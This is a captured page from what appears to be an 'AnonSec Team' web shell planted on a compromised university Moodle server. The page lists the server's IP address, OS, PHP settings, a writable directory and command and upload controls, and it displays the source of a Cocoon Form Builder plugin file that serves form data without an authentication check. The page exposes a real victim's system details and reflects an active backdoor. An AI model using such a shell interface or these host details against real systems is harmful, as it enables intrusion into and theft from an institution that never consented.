AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 3.137.41.2
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/lms/local/cocoon_form_builder/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/lms/local/cocoon_form_builder/getformlist.php
<?php

/**
 * Cocoon Form Builder integration for Moodle
 *
 * @package    cocoon_form_builder
 * @copyright  ©2021 Cocoon, XTRA Enterprises Ltd. createdbycocoon.com
 * @author     Cocoon
 */
 
header("Access-Control-Allow-Origin: *");
header('Content-Type: application/json');

require_once('../../config.php');
global $USER, $DB, $CFG;

$PAGE->set_url('/local/cocoon_form_builder/getformlist.php');
$PAGE->set_context(context_system::instance());

$sql = "SELECT * FROM {cocoon_form_builder_forms} order by id DESC" ;
$forms = $DB->get_records_sql($sql);

$data = array();

foreach ($forms as $form) {
	$x = [
        "id" => $form->id,
        "title" => $form->title,
        "status" => $form->status,
    ];

    $data[] = $x;
}

echo json_encode($data);

AnonSec - 2021